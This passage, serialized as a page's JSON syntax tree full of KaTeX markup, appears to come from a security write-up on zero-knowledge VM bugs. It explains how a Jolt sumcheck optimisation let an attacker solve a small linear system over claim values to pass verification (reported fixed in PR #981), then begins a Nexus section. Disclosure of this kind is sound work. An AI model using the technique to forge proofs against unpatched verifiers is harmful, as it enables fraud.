"className":117147},[311],[117149,117169],{"type":22,"tag":264,"props":117150,"children":117152},{"className":117151,"style":94898},[316],[117153],{"type":22,"tag":264,"props":117154,"children":117155},{"style":111796},[117156,117160],{"type":22,"tag":264,"props":117157,"children":117159},{"className":117158,"style":2169},[326],[],{"type":22,"tag":264,"props":117161,"children":117163},{"className":117162},[332,333,334,335],[117164],{"type":22,"tag":264,"props":117165,"children":117167},{"className":117166},[289,2178,335],[117168],{"type":27,"value":5050},{"type":22,"tag":264,"props":117170,"children":117172},{"className":117171},[396],[117173],{"type":27,"value":399},{"type":22,"tag":264,"props":117175,"children":117177},{"className":117176},[311],[117178],{"type":22,"tag":264,"props":117179,"children":117181},{"className":117180,"style":2721},[316],[117182],{"type":22,"tag":264,"props":117183,"children":117184},{},[],{"type":22,"tag":23,"props":117186,"children":117187},{},[117188,117190,117267,117269,117274,117276,117353,117355,117432,117434,117511],{"type":27,"value":117189},"where ",{"type":22,"tag":257,"props":117191,"children":117193},{"className":117192},[260,261],[117194],{"type":22,"tag":264,"props":117195,"children":117197},{"className":117196},[267],[117198],{"type":22,"tag":264,"props":117199,"children":117201},{"className":117200,"ariaHidden":273},[272],[117202],{"type":22,"tag":264,"props":117203,"children":117205},{"className":117204},[278],[117206,117210],{"type":22,"tag":264,"props":117207,"children":117209},{"className":117208,"style":111337},[283],[],{"type":22,"tag":264,"props":117211,"children":117213},{"className":117212},[289],[117214,117219],{"type":22,"tag":264,"props":117215,"children":117217},{"className":117216,"style":116442},[289,2178],[117218],{"type":27,"value":116445},{"type":22,"tag":264,"props":117220,"children":117222},{"className":117221},[2147],[117223],{"type":22,"tag":264,"props":117224,"children":117226},{"className":117225},[305,306],[117227,117256],{"type":22,"tag":264,"props":117228,"children":117230},{"className":117229},[311],[117231,117251],{"type":22,"tag":264,"props":117232,"children":117234},{"className":117233,"style":94898},[316],[117235],{"type":22,"tag":264,"props":117236,"children":117237},{"style":117076},[117238,117242],{"type":22,"tag":264,"props":117239,"children":117241},{"className":117240,"style":2169},[326],[],{"type":22,"tag":264,"props":117243,"children":117245},{"className":117244},[332,333,334,335],[117246],{"type":22,"tag":264,"props":117247,"children":117249},{"className":117248},[289,2178,335],[117250],{"type":27,"value":5050},{"type":22,"tag":264,"props":117252,"children":117254},{"className":117253},[396],[117255],{"type":27,"value":399},{"type":22,"tag":264,"props":117257,"children":117259},{"className":117258},[311],[117260],{"type":22,"tag":264,"props":117261,"children":117263},{"className":117262,"style":2721},[316],[117264],{"type":22,"tag":264,"props":117265,"children":117266},{},[],{"type":27,"value":117268}," are random coefficients derived from the transcript. Since ",{"type":22,"tag":257,"props":117270,"children":117272},{"className":117271},[],[117273],{"type":27,"value":116817},{"type":27,"value":117275}," (containing ",{"type":22,"tag":257,"props":117277,"children":117279},{"className":117278},[260,261],[117280],{"type":22,"tag":264,"props":117281,"children":117283},{"className":117282},[267],[117284],{"type":22,"tag":264,"props":117285,"children":117287},{"className":117286,"ariaHidden":273},[272],[117288],{"type":22,"tag":264,"props":117289,"children":117291},{"className":117290},[278],[117292,117296],{"type":22,"tag":264,"props":117293,"children":117295},{"className":117294,"style":112364},[283],[],{"type":22,"tag":264,"props":117297,"children":117299},{"className":117298},[289],[117300,117305],{"type":22,"tag":264,"props":117301,"children":117303},{"className":117302,"style":94603},[289,2178],[117304],{"type":27,"value":94606},{"type":22,"tag":264,"props":117306,"children":117308},{"className":117307},[2147],[117309],{"type":22,"tag":264,"props":117310,"children":117312},{"className":117311},[305,306],[117313,117342],{"type":22,"tag":264,"props":117314,"children":117316},{"className":117315},[311],[117317,117337],{"type":22,"tag":264,"props":117318,"children":117320},{"className":117319,"style":94898},[316],[117321],{"type":22,"tag":264,"props":117322,"children":117323},{"style":111796},[117324,117328],{"type":22,"tag":264,"props":117325,"children":117327},{"className":117326,"style":2169},[326],[],{"type":22,"tag":264,"props":117329,"children":117331},{"className":117330},[332,333,334,335],[117332],{"type":22,"tag":264,"props":117333,"children":117335},{"className":117334},[289,2178,335],[117336],{"type":27,"value":5050},{"type":22,"tag":264,"props":117338,"children":117340},{"className":117339},[396],[117341],{"type":27,"value":399},{"type":22,"tag":264,"props":117343,"children":117345},{"className":117344},[311],[117346],{"type":22,"tag":264,"props":117347,"children":117349},{"className":117348,"style":2721},[316],[117350],{"type":22,"tag":264,"props":117351,"children":117352},{},[],{"type":27,"value":117354},") were not in the transcript, the ",{"type":22,"tag":257,"props":117356,"children":117358},{"className":117357},[260,261],[117359],{"type":22,"tag":264,"props":117360,"children":117362},{"className":117361},[267],[117363],{"type":22,"tag":264,"props":117364,"children":117366},{"className":117365,"ariaHidden":273},[272],[117367],{"type":22,"tag":264,"props":117368,"children":117370},{"className":117369},[278],[117371,117375],{"type":22,"tag":264,"props":117372,"children":117374},{"className":117373,"style":111337},[283],[],{"type":22,"tag":264,"props":117376,"children":117378},{"className":117377},[289],[117379,117384],{"type":22,"tag":264,"props":117380,"children":117382},{"className":117381,"style":116442},[289,2178],[117383],{"type":27,"value":116445},{"type":22,"tag":264,"props":117385,"children":117387},{"className":117386},[2147],[117388],{"type":22,"tag":264,"props":117389,"children":117391},{"className":117390},[305,306],[117392,117421],{"type":22,"tag":264,"props":117393,"children":117395},{"className":117394},[311],[117396,117416],{"type":22,"tag":264,"props":117397,"children":117399},{"className":117398,"style":94898},[316],[117400],{"type":22,"tag":264,"props":117401,"children":117402},{"style":117076},[117403,117407],{"type":22,"tag":264,"props":117404,"children":117406},{"className":117405,"style":2169},[326],[],{"type":22,"tag":264,"props":117408,"children":117410},{"className":117409},[332,333,334,335],[117411],{"type":22,"tag":264,"props":117412,"children":117414},{"className":117413},[289,2178,335],[117415],{"type":27,"value":5050},{"type":22,"tag":264,"props":117417,"children":117419},{"className":117418},[396],[117420],{"type":27,"value":399},{"type":22,"tag":264,"props":117422,"children":117424},{"className":117423},[311],[117425],{"type":22,"tag":264,"props":117426,"children":117428},{"className":117427,"style":2721},[316],[117429],{"type":22,"tag":264,"props":117430,"children":117431},{},[],{"type":27,"value":117433}," values are independent of ",{"type":22,"tag":257,"props":117435,"children":117437},{"className":117436},[260,261],[117438],{"type":22,"tag":264,"props":117439,"children":117441},{"className":117440},[267],[117442],{"type":22,"tag":264,"props":117443,"children":117445},{"className":117444,"ariaHidden":273},[272],[117446],{"type":22,"tag":264,"props":117447,"children":117449},{"className":117448},[278],[117450,117454],{"type":22,"tag":264,"props":117451,"children":117453},{"className":117452,"style":112364},[283],[],{"type":22,"tag":264,"props":117455,"children":117457},{"className":117456},[289],[117458,117463],{"type":22,"tag":264,"props":117459,"children":117461},{"className":117460,"style":94603},[289,2178],[117462],{"type":27,"value":94606},{"type":22,"tag":264,"props":117464,"children":117466},{"className":117465},[2147],[117467],{"type":22,"tag":264,"props":117468,"children":117470},{"className":117469},[305,306],[117471,117500],{"type":22,"tag":264,"props":117472,"children":117474},{"className":117473},[311],[117475,117495],{"type":22,"tag":264,"props":117476,"children":117478},{"className":117477,"style":94898},[316],[117479],{"type":22,"tag":264,"props":117480,"children":117481},{"style":111796},[117482,117486],{"type":22,"tag":264,"props":117483,"children":117485},{"className":117484,"style":2169},[326],[],{"type":22,"tag":264,"props":117487,"children":117489},{"className":117488},[332,333,334,335],[117490],{"type":22,"tag":264,"props":117491,"children":117493},{"className":117492},[289,2178,335],[117494],{"type":27,"value":5050},{"type":22,"tag":264,"props":117496,"children":117498},{"className":117497},[396],[117499],{"type":27,"value":399},{"type":22,"tag":264,"props":117501,"children":117503},{"className":117502},[311],[117504],{"type":22,"tag":264,"props":117505,"children":117507},{"className":117506,"style":2721},[316],[117508],{"type":22,"tag":264,"props":117509,"children":117510},{},[],{"type":27,"value":210},{"type":22,"tag":23,"props":117513,"children":117514},{},[117515],{"type":22,"tag":242,"props":117516,"children":117517},{},[117518],{"type":27,"value":117519},"Why it's linear:",{"type":22,"tag":23,"props":117521,"children":117522},{},[117523,117525],{"type":27,"value":117524},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":22,"tag":257,"props":117526,"children":117528},{"className":117527},[260,261],[117529],{"type":22,"tag":264,"props":117530,"children":117532},{"className":117531},[267],[117533],{"type":22,"tag":264,"props":117534,"children":117536},{"className":117535,"ariaHidden":273},[272],[117537],{"type":22,"tag":264,"props":117538,"children":117540},{"className":117539},[278],[117541,117545],{"type":22,"tag":264,"props":117542,"children":117544},{"className":117543,"style":441},[283],[],{"type":22,"tag":264,"props":117546,"children":117548},{"className":117547,"style":94603},[289,2178],[117549],{"type":27,"value":94606},{"type":22,"tag":23,"props":117551,"children":117552},{},[117553],{"type":22,"tag":257,"props":117554,"children":117556},{"className":117555},[260,261],[117557],{"type":22,"tag":264,"props":117558,"children":117560},{"className":117559},[267],[117561],{"type":22,"tag":264,"props":117562,"children":117564},{"className":117563,"ariaHidden":273},[272],[117565,117654,117680,117706],{"type":22,"tag":264,"props":117566,"children":117568},{"className":117567},[278],[117569,117573,117641,117645,117650],{"type":22,"tag":264,"props":117570,"children":117572},{"className":117571,"style":112364},[283],[],{"type":22,"tag":264,"props":117574,"children":117576},{"className":117575},[289],[117577,117583],{"type":22,"tag":264,"props":117578,"children":117580},{"className":117579,"style":23420},[289,2178],[117581],{"type":27,"value":117582},"C",{"type":22,"tag":264,"props":117584,"children":117586},{"className":117585},[2147],[117587],{"type":22,"tag":264,"props":117588,"children":117590},{"className":117589},[305,306],[117591,117630],{"type":22,"tag":264,"props":117592,"children":117594},{"className":117593},[311],[117595,117625],{"type":22,"tag":264,"props":117596,"children":117598},{"className":117597,"style":2767},[316],[117599],{"type":22,"tag":264,"props":117600,"children":117602},{"style":117601},"top:-2.55em;margin-left:-0.0715em;margin-right:0.05em;",[117603,117607],{"type":22,"tag":264,"props":117604,"children":117606},{"className":117605,"style":2169},[326],[],{"type":22,"tag":264,"props":117608,"children":117610},{"className":117609},[332,333,334,335],[117611],{"type":22,"tag":264,"props":117612,"children":117614},{"className":117613},[289,335],[117615],{"type":22,"tag":264,"props":117616,"children":117618},{"className":117617},[289,27,335],[117619],{"type":22,"tag":264,"props":117620,"children":117622},{"className":117621},[289,335],[117623],{"type":27,"value":117624},"final",{"type":22,"tag":264,"props":117626,"children":117628},{"className":117627},[396],[117629],{"type":27,"value":399},{"type":22,"tag":264,"props":117631,"children":117633},{"className":117632},[311],[117634],{"type":22,"tag":264,"props":117635,"children":117637},{"className":117636,"style":2721},[316],[117638],{"type":22,"tag":264,"props":117639,"children":117640},{},[],{"type":22,"tag":264,"props":117642,"children":117644},{"className":117643,"style":421},[420],[],{"type":22,"tag":264,"props":117646,"children":117648},{"className":117647},[426],[117649],{"type":27,"value":429},{"type":22,"tag":264,"props":117651,"children":117653},{"className":117652,"style":421},[420],[],{"type":22,"tag":264,"props":117655,"children":117657},{"className":117656},[278],[117658,117662,117667,117671,117676],{"type":22,"tag":264,"props":117659,"children":117661},{"className":117660,"style":116437},[283],[],{"type":22,"tag":264,"props":117663,"children":117665},{"className":117664},[289,2178],[117666],{"type":27,"value":69},{"type":22,"tag":264,"props":117668,"children":117670},{"className":117669,"style":665},[420],[],{"type":22,"tag":264,"props":117672,"children":117674},{"className":117673},[670],[117675],{"type":27,"value":112629},{"type":22,"tag":264,"props":117677,"children":117679},{"className":117678,"style":665},[420],[],{"type":22,"tag":264,"props":117681,"children":117683},{"className":117682},[278],[117684,117688,117693,117697,117702],{"type":22,"tag":264,"props":117685,"children":117687},{"className":117686,"style":646},[283],[],{"type":22,"tag":264,"props":117689,"children":117691},{"className":117690,"style":94603},[289,2178],[117692],{"type":27,"value":94606},{"type":22,"tag":264,"props":117694,"children":117696},{"className":117695,"style":665},[420],[],{"type":22,"tag":264,"props":117698,"children":117700},{"className":117699},[670],[117701],{"type":27,"value":673},{"type":22,"tag":264,"props":117703,"children":117705},{"className":117704,"style":665},[420],[],{"type":22,"tag":264,"props":117707,"children":117709},{"className":117708},[278],[117710,117714],{"type":22,"tag":264,"props":117711,"children":117713},{"className":117712,"style":94285},[283],[],{"type":22,"tag":264,"props":117715,"children":117717},{"className":117716},[289,2178],[117718],{"type":27,"value":2181},{"type":22,"tag":23,"props":117720,"children":117721},{},[117722,117723,117762,117764,117789,117791,117921,117923,118044],{"type":27,"value":117189},{"type":22,"tag":257,"props":117724,"children":117726},{"className":117725},[260,261],[117727],{"type":22,"tag":264,"props":117728,"children":117730},{"className":117729},[267],[117731],{"type":22,"tag":264,"props":117732,"children":117734},{"className":117733,"ariaHidden":273},[272],[117735],{"type":22,"tag":264,"props":117736,"children":117738},{"className":117737},[278],[117739,117743,117748,117753,117757],{"type":22,"tag":264,"props":117740,"children":117742},{"className":117741,"style":2028},[283],[],{"type":22,"tag":264,"props":117744,"children":117746},{"className":117745},[289,2178],[117747],{"type":27,"value":69},{"type":22,"tag":264,"props":117749,"children":117751},{"className":117750},[5420],[117752],{"type":27,"value":5423},{"type":22,"tag":264,"props":117754,"children":117756},{"className":117755,"style":5427},[420],[],{"type":22,"tag":264,"props":117758,"children":117760},{"className":117759},[289,2178],[117761],{"type":27,"value":2181},{"type":27,"value":117763}," are determined by the transcript (independent of ",{"type":22,"tag":257,"props":117765,"children":117767},{"className":117766},[260,261],[117768],{"type":22,"tag":264,"props":117769,"children":117771},{"className":117770},[267],[117772],{"type":22,"tag":264,"props":117773,"children":117775},{"className":117774,"ariaHidden":273},[272],[117776],{"type":22,"tag":264,"props":117777,"children":117779},{"className":117778},[278],[117780,117784],{"type":22,"tag":264,"props":117781,"children":117783},{"className":117782,"style":441},[283],[],{"type":22,"tag":264,"props":117785,"children":117787},{"className":117786,"style":94603},[289,2178],[117788],{"type":27,"value":94606},{"type":27,"value":117790},"). The verifier checks that ",{"type":22,"tag":257,"props":117792,"children":117794},{"className":117793},[260,261],[117795],{"type":22,"tag":264,"props":117796,"children":117798},{"className":117797},[267],[117799],{"type":22,"tag":264,"props":117800,"children":117802},{"className":117801,"ariaHidden":273},[272],[117803,117889],{"type":22,"tag":264,"props":117804,"children":117806},{"className":117805},[278],[117807,117811,117876,117880,117885],{"type":22,"tag":264,"props":117808,"children":117810},{"className":117809,"style":112364},[283],[],{"type":22,"tag":264,"props":117812,"children":117814},{"className":117813},[289],[117815,117820],{"type":22,"tag":264,"props":117816,"children":117818},{"className":117817,"style":23420},[289,2178],[117819],{"type":27,"value":117582},{"type":22,"tag":264,"props":117821,"children":117823},{"className":117822},[2147],[117824],{"type":22,"tag":264,"props":117825,"children":117827},{"className":117826},[305,306],[117828,117865],{"type":22,"tag":264,"props":117829,"children":117831},{"className":117830},[311],[117832,117860],{"type":22,"tag":264,"props":117833,"children":117835},{"className":117834,"style":2767},[316],[117836],{"type":22,"tag":264,"props":117837,"children":117838},{"style":117601},[117839,117843],{"type":22,"tag":264,"props":117840,"children":117842},{"className":117841,"style":2169},[326],[],{"type":22,"tag":264,"props":117844,"children":117846},{"className":117845},[332,333,334,335],[117847],{"type":22,"tag":264,"props":117848,"children":117850},{"className":117849},[289,335],[117851],{"type":22,"tag":264,"props":117852,"children":117854},{"className":117853},[289,27,335],[117855],{"type":22,"tag":264,"props":117856,"children":117858},{"className":117857},[289,335],[117859],{"type":27,"value":117624},{"type":22,"tag":264,"props":117861,"children":117863},{"className":117862},[396],[117864],{"type":27,"value":399},{"type":22,"tag":264,"props":117866,"children":117868},{"className":117867},[311],[117869],{"type":22,"tag":264,"props":117870,"children":117872},{"className":117871,"style":2721},[316],[117873],{"type":22,"tag":264,"props":117874,"children":117875},{},[],{"type":22,"tag":264,"props":117877,"children":117879},{"className":117878,"style":421},[420],[],{"type":22,"tag":264,"props":117881,"children":117883},{"className":117882},[426],[117884],{"type":27,"value":429},{"type":22,"tag":264,"props":117886,"children":117888},{"className":117887,"style":421},[420],[],{"type":22,"tag":264,"props":117890,"children":117892},{"className":117891},[278],[117893,117897,117907,117912],{"type":22,"tag":264,"props":117894,"children":117896},{"className":117895,"style":95781},[283],[],{"type":22,"tag":264,"props":117898,"children":117900},{"className":117899},[289,27],[117901],{"type":22,"tag":264,"props":117902,"children":117904},{"className":117903},[289],[117905],{"type":27,"value":117906},"expected",{"type":22,"tag":264,"props":117908,"children":117910},{"className":117909,"style":94370},[289],[117911],{"type":27,"value":4385},{"type":22,"tag":264,"props":117913,"children":117915},{"className":117914},[289,27],[117916],{"type":22,"tag":264,"props":117917,"children":117919},{"className":117918},[289],[117920],{"type":27,"value":38862},{"type":27,"value":117922}," (from PCS opening), this becomes ",{"type":22,"tag":257,"props":117924,"children":117926},{"className":117925},[260,261],[117927],{"type":22,"tag":264,"props":117928,"children":117930},{"className":117929},[267],[117931],{"type":22,"tag":264,"props":117932,"children":117934},{"className":117933,"ariaHidden":273},[272],[117935,117961,117987,118013],{"type":22,"tag":264,"props":117936,"children":117938},{"className":117937},[278],[117939,117943,117948,117952,117957],{"type":22,"tag":264,"props":117940,"children":117942},{"className":117941,"style":116437},[283],[],{"type":22,"tag":264,"props":117944,"children":117946},{"className":117945},[289,2178],[117947],{"type":27,"value":69},{"type":22,"tag":264,"props":117949,"children":117951},{"className":117950,"style":665},[420],[],{"type":22,"tag":264,"props":117953,"children":117955},{"className":117954},[670],[117956],{"type":27,"value":112629},{"type":22,"tag":264,"props":117958,"children":117960},{"className":117959,"style":665},[420],[],{"type":22,"tag":264,"props":117962,"children":117964},{"className":117963},[278],[117965,117969,117974,117978,117983],{"type":22,"tag":264,"props":117966,"children":117968},{"className":117967,"style":646},[283],[],{"type":22,"tag":264,"props":117970,"children":117972},{"className":117971,"style":94603},[289,2178],[117973],{"type":27,"value":94606},{"type":22,"tag":264,"props":117975,"children":117977},{"className":117976,"style":665},[420],[],{"type":22,"tag":264,"props":117979,"children":117981},{"className":117980},[670],[117982],{"type":27,"value":673},{"type":22,"tag":264,"props":117984,"children":117986},{"className":117985,"style":665},[420],[],{"type":22,"tag":264,"props":117988,"children":117990},{"className":117989},[278],[117991,117995,118000,118004,118009],{"type":22,"tag":264,"props":117992,"children":117994},{"className":117993,"style":94285},[283],[],{"type":22,"tag":264,"props":117996,"children":117998},{"className":117997},[289,2178],[117999],{"type":27,"value":2181},{"type":22,"tag":264,"props":118001,"children":118003},{"className":118002,"style":421},[420],[],{"type":22,"tag":264,"props":118005,"children":118007},{"className":118006},[426],[118008],{"type":27,"value":429},{"type":22,"tag":264,"props":118010,"children":118012},{"className":118011,"style":421},[420],[],{"type":22,"tag":264,"props":118014,"children":118016},{"className":118015},[278],[118017,118021,118030,118035],{"type":22,"tag":264,"props":118018,"children":118020},{"className":118019,"style":95781},[283],[],{"type":22,"tag":264,"props":118022,"children":118024},{"className":118023},[289,27],[118025],{"type":22,"tag":264,"props":118026,"children":118028},{"className":118027},[289],[118029],{"type":27,"value":117906},{"type":22,"tag":264,"props":118031,"children":118033},{"className":118032,"style":94370},[289],[118034],{"type":27,"value":4385},{"type":22,"tag":264,"props":118036,"children":118038},{"className":118037},[289,27],[118039],{"type":22,"tag":264,"props":118040,"children":118042},{"className":118041},[289],[118043],{"type":27,"value":38862},{"type":27,"value":210},{"type":22,"tag":23,"props":118046,"children":118047},{},[118048],{"type":27,"value":118049},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":22,"tag":23,"props":118051,"children":118052},{},[118053],{"type":27,"value":118054},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":22,"tag":23,"props":118056,"children":118057},{},[118058,118063,118065],{"type":22,"tag":242,"props":118059,"children":118060},{},[118061],{"type":27,"value":118062},"Status:",{"type":27,"value":118064}," Fixed on October 3, 2025 via ",{"type":22,"tag":69,"props":118066,"children":118069},{"href":118067,"rel":118068},"https://github.com/a16z/jolt/pull/981",[73],[118070],{"type":27,"value":118071},"PR #981",{"type":22,"tag":20097,"props":118073,"children":118074},{},[],{"type":22,"tag":181,"props":118076,"children":118078},{"id":118077},"nexus",[118079],{"type":27,"value":109187},{"type":22,"tag":23,"props":118081,"children":118082},{},[118083],{"type":27,"value":118084},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":22,"tag":23,"props":118086,"children":118087},{},[118088,118090,118095],{"type":27,"value":118089},"Nexus splits verification into ",{"type":22,"tag":242,"props":118091,"children":118092},{},[118093],{"type":27,"value":118094},"components",{"type":27,"value":118096}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":22,"tag":23,"props":118098,"children":118099},{},[118100,118102,118107],{"type":27,"value":118101},"Each component emits and consumes lookup tuples. The component's ",{"type":22,"tag":257,"props":118103,"children":118105},{"className":118104},[],[118106],{"type":27,"value":116219},{"type":27,"value":118108}," summarizes its net contribution:",{"type":22,"tag":23,"props":118110,"children":118111},{},[118112],{"type":22,"tag":257,"props":118113,"children":118115},{"className":118114},[260,261],[118116],{"type":22,"tag":264,"props":118117,"children":118119},{"className":118118},[267],[118120],{"type":22,"tag":264,"props":118121,"children":118123},{"className":118122,"ariaHidden":273},[272],[118124,118220,118469],{"type":22,"tag":264,"props":118125,"children":118127},{"className":118126},[278],[118128,118132,118141,118146,118207,118211,118216],{"type":22,"tag":264,"props":118129,"children":118131},{"className":118130,"style":95781},[283],[],{"type":22,"tag":264,"props":118133,"children":118135},{"className":118134},[289,27],[118136],{"type":22,"tag":264,"props":118137,"children":118139},{"className":118138},[289],[118140],{"type":27,"value":115449},{"type":22,"tag":264,"props":118142,"children":118144},{"className":118143,"style":94370},[289],[118145],{"type":27,"value":4385},{"type":22,"tag":264,"props":118147,"children":118149},{"className":118148},[289],[118150,118159],{"type":22,"tag":264,"props":118151,"children":118153},{"className":118152},[289,27],[118154],{"type":22,"tag":264,"props":118155,"children":118157},{"className":118156},[289],[118158],{"type":27,"value":77958},{"type":22,"tag":264,"props":118160,"children":118162},{"className":118161},[2147],[118163],{"type":22,"tag":264,"props":118164,"children":118166},{"className":118165},[305,306],[118167,118196],{"type":22,"tag":264,"props":118168,"children":118170},{"className":118169},[311],[118171,118191],{"type":22,"tag":264,"props":118172,"children":118174},{"className":118173,"style":94898},[316],[118175],{"type":22,"tag":264,"props":118176,"children":118177},{"style":2694},[118178,118182],{"type":22,"tag":264,"props":118179,"children":118181},{"className":118180,"style":2169},[326],[],{"type":22,"tag":264,"props":118183,"children":118185},{"className":118184},[332,333,334,335],[118186],{"type":22,"tag":264,"props":118187,"children":118189},{"className":118188},[289,2178,335],[118190],{"type":27,"value":5050},{"type":22,"tag":264,"props":118192,"children":118194},{"className":118193},[396],[118195],{"type":27,"value":399},{"type":22,"tag":264,"props":118197,"children":118199},{"className":118198},[311],[118200],{"type":22,"tag":264,"props":118201,"children":118203},{"className":118202,"style":2721},[316],[118204],{"type":22,"tag":264,"props":118205,"children":118206},{},[],{"type":22,"tag":264,"props":118208,"children":118210},{"className":118209,"style":421},[420],[],{"type":22,"tag":264,"props":118212,"children":118214},{"className":118213},[426],[118215],{"type":27,"value":429},{"type":22,"tag":264,"props":118217,"children":118219},{"className":118218,"style":421},[420],[],{"type":22,"tag":264,"props":118221,"children":118223},{"className":118222},[278],[118224,118229,118286,118290,118456,118460,118465],{"type":22,"tag":264,"props":118225,"children":118228},{"className":118226,"style":118227},[283],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":22,"tag":264,"props":118230,"children":118232},{"className":118231},[22929],[118233,118238],{"type":22,"tag":264,"props":118234,"children":118236},{"className":118235,"style":22936},[22929,22934,22935],[118237],{"type":27,"value":110163},{"type":22,"tag":264,"props":118239,"children":118241},{"className":118240},[2147],[118242],{"type":22,"tag":264,"props":118243,"children":118245},{"className":118244},[305,306],[118246,118275],{"type":22,"tag":264,"props":118247,"children":118249},{"className":118248},[311],[118250,118270],{"type":22,"tag":264,"props":118251,"children":118253},{"className":118252,"style":115562},[316],[118254],{"type":22,"tag":264,"props":118255,"children":118256},{"style":22959},[118257,118261],{"type":22,"tag":264,"props":118258,"children":118260},{"className":118259,"style":2169},[326],[],{"type":22,"tag":264,"props":118262,"children":118264},{"className":118263},[332,333,334,335],[118265],{"type":22,"tag":264,"props":118266,"children":118268},{"className":118267,"style":115578},[289,2178,335],[118269],{"type":27,"value":9951},{"type":22,"tag":264,"props":118271,"children":118273},{"className":118272},[396],[118274],{"type":27,"value":399},{"type":22,"tag":264,"props":118276,"children":118278},{"className":118277},[311],[118279],{"type":22,"tag":264,"props":118280,"children":118282},{"className":118281,"style":115593},[316],[118283],{"type":22,"tag":264,"props":118284,"children":118285},{},[],{"type":22,"tag":264,"props":118287,"children":118289},{"className":118288,"style":5427},[420],[],{"type":22,"tag":264,"props":118291,"children":118293},{"className":118292},[289],[118294,118298,118452],{"type":22,"tag":264,"props":118295,"children":118297},{"className":118296},[294,295],[],{"type":22,"tag":264,"props":118299,"children":118301},{"className":118300},[300],[118302],{"type":22,"tag":264,"props":118303,"children":118305},{"className":118304},[305,306],[118306,118440],{"type":22,"tag":264,"props":118307,"children":118309},{"className":118308},[311],[118310,118435],{"type":22,"tag":264,"props":118311,"children":118313},{"className":118312,"style":114897},[316],[118314,118404,118415],{"type":22,"tag":264,"props":118315,"children":118316},{"style":321},[118317,118321],{"type":22,"tag":264,"props":118318,"children":118320},{"className":118319,"style":327},[326],[],{"type":22,"tag":264,"props":118322,"children":118324},{"className":118323},[332,333,334,335],[118325],{"type":22,"tag":264,"props":118326,"children":118328},{"className":118327},[289,335],[118329,118334,118339],{"type":22,"tag":264,"props":118330,"children":118332},{"className":118331,"style":114917},[289,2178,335],[118333],{"type":27,"value":114920},{"type":22,"tag":264,"props":118335,"children":118337},{"className":118336},[670,335],[118338],{"type":27,"value":5372},{"type":22,"tag":264,"props":118340,"children":118342},{"className":118341},[289,335],[118343,118353],{"type":22,"tag":264,"props":118344,"children":118346},{"className":118345},[289,27,335],[118347],{"type":22,"tag":264,"props":118348,"children":118350},{"className":118349},[289,335],[118351],{"type":27,"value":118352},"produced",{"type":22,"tag":264,"props":118354,"children":118356},{"className":118355},[2147],[118357],{"type":22,"tag":264,"props":118358,"children":118360},{"className":118359},[305,306],[118361,118392],{"type":22,"tag":264,"props":118362,"children":118364},{"className":118363},[311],[118365,118387],{"type":22,"tag":264,"props":118366,"children":118369},{"className":118367,"style":118368},[316],"height:0.2052em;",[118370],{"type":22,"tag":264,"props":118371,"children":118373},{"style":118372},"top:-2.2341em;margin-right:0.0714em;",[118374,118378],{"type":22,"tag":264,"props":118375,"children":118377},{"className":118376,"style":110228},[326],[],{"type":22,"tag":264,"props":118379,"children":118381},{"className":118380},[332,110233,110234,335],[118382],{"type":22,"tag":264,"props":118383,"children":118385},{"className":118384,"style":115578},[289,2178,335],[118386],{"type":27,"value":9951},{"type":22,"tag":264,"props":118388,"children":118390},{"className":118389},[396],[118391],{"type":27,"value":399},{"type":22,"tag":264,"props":118393,"children":118395},{"className":118394},[311],[118396],{"type":22,"tag":264,"props":118397,"children":118400},{"className":118398,"style":118399},[316],"height:0.4048em;",[118401],{"type":22,"tag":264,"props":118402,"children":118403},{},[],{"type":22,"tag":264,"props":118405,"children":118406},{"style":349},[118407,118411],{"type":22,"tag":264,"props":118408,"children":118410},{"className":118409,"style":327},[326],[],{"type":22,"tag":264,"props":118412,"children":118414},{"className":118413,"style":359},[358],[],{"type":22,"tag":264,"props":118416,"children":118417},{"style":363},[118418,118422],{"type":22,"tag":264,"props":118419,"children":118421},{"className":118420,"style":327},[326],[],{"type":22,"tag":264,"props":118423,"children":118425},{"className":118424},[332,333,334,335],[118426],{"type":22,"tag":264,"props":118427,"children":118429},{"className":118428},[289,335],[118430],{"type":22,"tag":264,"props":118431,"children":118433},{"className":118432},[289,335],[118434],{"type":27,"value":602},{"type":22,"tag":264,"props":118436,"children":118438},{"className":118437},[396],[118439],{"type":27,"value":399},{"type":22,"tag":264,"props":118441,"children":118443},{"className":118442},[311],[118444],{"type":22,"tag":264,"props":118445,"children":118448},{"className":118446,"style":118447},[316],"height:0.6283em;",[118449],{"type":22,"tag":264,"props":118450,"children":118451},{},[],{"type":22,"tag":264,"props":118453,"children":118455},{"className":118454},[415,295],[],{"type":22,"tag":264,"props":118457,"children":118459},{"className":118458,"style":665},[420],[],{"type":22,"tag":264,"props":118461,"children":118463},{"className":118462},[670],[118464],{"type":27,"value":5372},{"type":22,"tag":264,"props":118466,"children":118468},{"className":118467,"style":665},[420],[],{"type":22,"tag":264,"props":118470,"children":118472},{"className":118471},[278],[118473,118477,118534,118538],{"type":22,"tag":264,"props":118474,"children":118476},{"className":118475,"style":115787},[283],[],{"type":22,"tag":264,"props":118478,"children":118480},{"className":118479},[22929],[118481,118486],{"type":22,"tag":264,"props":118482,"children":118484},{"className":118483,"style":22936},[22929,22934,22935],[118485],{"type":27,"value":110163},{"type":22,"tag":264,"props":118487,"children":118489},{"className":118488},[2147],[118490],{"type":22,"tag":264,"props":118491,"children":118493},{"className":118492},[305,306],[118494,118523],{"type":22,"tag":264,"props":118495,"children":118497},{"className":118496},[311],[118498,118518],{"type":22,"tag":264,"props":118499,"children":118501},{"className":118500,"style":115028},[316],[118502],{"type":22,"tag":264,"props":118503,"children":118504},{"style":22959},[118505,118509],{"type":22,"tag":264,"props":118506,"children":118508},{"className":118507,"style":2169},[326],[],{"type":22,"tag":264,"props":118510,"children":118512},{"className":118511},[332,333,334,335],[118513],{"type":22,"tag":264,"props":118514,"children":118516},{"className":118515,"style":95797},[289,2178,335],[118517],{"type":27,"value":90009},{"type":22,"tag":264,"props":118519,"children":118521},{"className":118520},[396],[118522],{"type":27,"value":399},{"type":22,"tag":264,"props":118524,"children":118526},{"className":118525},[311],[118527],{"type":22,"tag":264,"props":118528,"children":118530},{"className":118529,"style":115842},[316],[118531],{"type":22,"tag"